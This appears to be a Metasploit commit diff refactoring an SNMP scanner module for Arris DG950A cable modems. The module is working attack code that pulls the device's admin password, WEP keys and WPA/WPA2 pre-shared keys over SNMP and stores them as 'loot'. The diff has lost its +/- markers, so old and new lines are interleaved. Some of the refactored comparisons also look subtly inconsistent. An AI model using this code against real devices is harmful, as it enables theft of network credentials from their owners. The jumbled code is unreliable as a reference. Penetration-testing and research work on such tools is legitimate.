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Update arris_dg950 module with required changes 

Collapsed several levels of the if/else statement and changed out 2 with
case. Changed print_good to print_line. Removed rescue ::Interrupt and
altered variable names to make them more readable
bug/bundler_fix
Deral Heiland 2014-09-10 19:07:53 -04:00
parent 9a6ee5090a
commit 872ba6a53b
1 changed files with 85 additions and 106 deletions
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191
modules/auxiliary/scanner/snmp/arris_dg950.rb
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@ -30,136 +30,115 @@ class Metasploit3 < Msf::Auxiliary
snmp = connect_snmp
if snmp.get_value('sysDescr.0') =~ /DG950A/
print_good("#{ip}")
print_line("#{ip}")
# System Admin Password
wifiinfo = ''
wifi_info = ''
password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
print_good("Password: #{password}")
wifiinfo << "Password: #{password}" << "\n"
print_line("Password: #{password}")
wifi_info << "Password: #{password}" << "\n"
else
fail_with("Does not appear to be an Arris DG950A")
end
# check WPA Encryption Algorithm
encryptalg = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1.12')
if encryptalg == '1'
wpaencrypt = 'TKIP'
# check WPA Encryption Algorithm
encrypt_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1.12')
case encrypt_type
when 1
wpa_encrypt = "TKIP"
when 2
wpa_encrypt = "AES"
when 3
wpa_encrypt = "TKIP/AES"
else
wpa_encrypt = "Unknown"
end
elsif encryptalg == '2'
wpaencrypt = 'AES'
# Wifi Status
wifi_status = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12')
if wifi_status == '1'
ssid = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2.12')
print_line("SSID: #{ssid}")
wifi_info << "SSID: #{ssid}" << "\n"
elsif encryptalg == '3'
wpaencrypt = 'TKIP/AES'
else
wpaencrypt = 'Unknown'
end
# Wifi Status
wifistatus = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12')
if wifistatus == '1'
ssid = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2.12')
print_good("SSID: #{ssid}")
wifiinfo << "SSID: #{ssid}" << "\n"
# Wifi Security Settings
wifiversion = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5.12')
if wifiversion == '0'
print_line('Open Access Wifi is Enabled')
wifiinfo << 'Open Access WIFI is Enabled' << '\n'
# Wep enabled
elsif wifiversion == '1'
weptype = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2.12')
if weptype == '1'
print_good('WEP Key Length: 64BITS ')
wifiinfo << 'WEP Key Length: 64BITS ' << '\n'
wepkey1 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12.1')
key1 = "#{wepkey1}"
print_good("WEP KEY1: #{key1}")
wifiinfo << "WEP KEY1: #{key1}" << "\n"
wepkey2 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12.2')
key2 = "#{wepkey2}"
print_good("WEP KEY2: #{key2}")
wifiinfo << "WEP KEY2: #{key2}" << "\n"
wepkey3 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12.3')
key3 = "#{wepkey3}"
print_good("WEP KEY3: #{key3}")
wifiinfo << "WEP KEY3: #{key3}" << "\n"
wepkey4 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12.4')
key4 = "#{wepkey4}"
print_good("WEP KEY4: #{key4}")
wifiinfo << "WEP KEY4: #{key4}" << "\n"
elsif weptype == '2'
print_good('WEP Key Length: 128BITS ')
wifiinfo << 'WEP Key Length: 128BITS ' << '\n'
wepkey1 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12.1')
key1 = "#{wepkey1}"
print_good("WEP KEY1: #{key1}")
wifiinfo << "WEP KEY1: #{key1}" << "\n"
wepkey2 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12.2')
key2 = "#{wepkey2}"
print_good("WEP KEY2: #{key2}")
wifiinfo << "WEP KEY2: #{key2}" << "\n"
wepkey3 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12.3')
key3 = "#{wepkey3}"
print_good("WEP KEY3: #{key3}")
wifiinfo << "WEP KEY3: #{key3}" << "\n"
wepkey4 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12.4')
key4 = "#{wepkey4}"
print_good("WEP KEY4: #{key4}")
wifiinfo << "WEP KEY4: #{key4}" << "\n"
else
print_line('FAILED')
end
# WPA enabled
elsif wifiversion == '2'
wpapsk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12')
print_good("WPA PSK: #{wpapsk}")
print_good("WPA Encryption: #{wpaencrypt}")
wifiinfo << "WPA PSK: #{wpapsk}" << "\n"
wifiinfo << "WPA Encryption #{wpaencrypt}" << "\n"
# WPA2 enabled
elsif wifiversion == '3'
wpapsk2 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12')
print_good("WPA2 PSK: #{wpapsk2}")
print_good("WPA2 Encryption: #{wpaencrypt}")
wifiinfo << "WPA2 PSK: #{wpapsk2}" << "\n"
wifiinfo << "WPA2 Encryption: #{wpaencrypt}" << "\n"
# WPA/WPA2 enabled
elsif wifiversion == '7'
wpawpa2psk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12')
print_good("WPA/WPA2 PSK: #{wpawpa2psk}")
print_good("WPA/WPA2 Encryption: #{wpaencrypt}")
wifiinfo << "WPA/WPA2 PSK: #{wpawpa2psk}" << "\n"
wifiinfo << "WPA/WPA2 Encryption: #{wpaencrypt}" << "\n"
# Wifi Security Settings
wifi_version = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5.12')
if wifi_version == '0'
print_line('Open Access Wifi is Enabled')
wifi_info << 'Open Access WIFI is Enabled' << '\n'
# Wep enabled
elsif wifi_version == '1'
wep_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2.12')
case wep_type
when 1
oid = "1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12"
when 2
oid = "1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12"
else
print_line('FAILED')
end
wepkey1 = snmp.get_value("#{oid}.1")
key1 = "#{wepkey1}"
print_line("WEP KEY1: #{key1}")
wifi_info << "WEP KEY1: #{key1}" << "\n"
wepkey2 = snmp.get_value("#{oid}.2")
key2 = "#{wepkey2}"
print_line("WEP KEY2: #{key2}")
wifi_info << "WEP KEY2: #{key2}" << "\n"
wepkey3 = snmp.get_value("#{oid}.3")
key3 = "#{wepkey3}"
print_line("WEP KEY3: #{key3}")
wifi_info << "WEP KEY3: #{key3}" << "\n"
wepkey4 = snmp.get_value("#{oid}.4")
key4 = "#{wepkey4}"
print_line("WEP KEY4: #{key4}")
wifi_info << "WEP KEY4: #{key4}" << "\n"
# WPA enabled
elsif wifi_version == '2'
wpapsk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12')
print_line("WPA PSK: #{wpapsk}")
print_line("WPA Encryption: #{wpa_encrypt}")
wifi_info << "WPA PSK: #{wpapsk}" << "\n"
wifi_info << "WPA Encryption #{wpa_encrypt}" << "\n"
# WPA2 enabled
elsif wifi_version == '3'
wpapsk2 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12')
print_line("WPA2 PSK: #{wpapsk2}")
print_line("WPA2 Encryption: #{wpa_encrypt}")
wifi_info << "WPA2 PSK: #{wpapsk2}" << "\n"
wifi_info << "WPA2 Encryption: #{wpa_encrypt}" << "\n"
# WPA/WPA2 enabled
elsif wifi_version == '7'
wpawpa2psk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12')
print_line("WPA/WPA2 PSK: #{wpawpa2psk}")
print_line("WPA/WPA2 Encryption: #{wpa_encrypt}")
wifi_info << "WPA/WPA2 PSK: #{wpawpa2psk}" << "\n"
wifi_info << "WPA/WPA2 Encryption: #{wpa_encrypt}" << "\n"
else
print_line('WIFI is not enabled')
print_line('FAILED')
end
else
print_line('Does not appear to be an Arris DG950A')
exit
print_line('WIFI is not enabled')
end
# Woot we got loot.
loot_name = 'arris_wifi'
loot_type = 'text/plain'
loot_filename = 'arris_wifi.text'
loot_desc = 'Arris DG950A Wifi configuration data'
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo, loot_filename, loot_desc)
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifi_info, loot_filename, loot_desc)
print_status("WIFI Data saved in: #{p}")
# No need to make noise
rescue ::SNMP::UnsupportedVersion
rescue ::SNMP::RequestTimeout
rescue ::Interrupt
raise $ERROR_INFO
rescue ::Exception => e
print_error("#{ip} error: #{e.class} #{e}")
print_error("#{ip} error: #{e.class} #{e.message}")
disconnect_snmp
end
end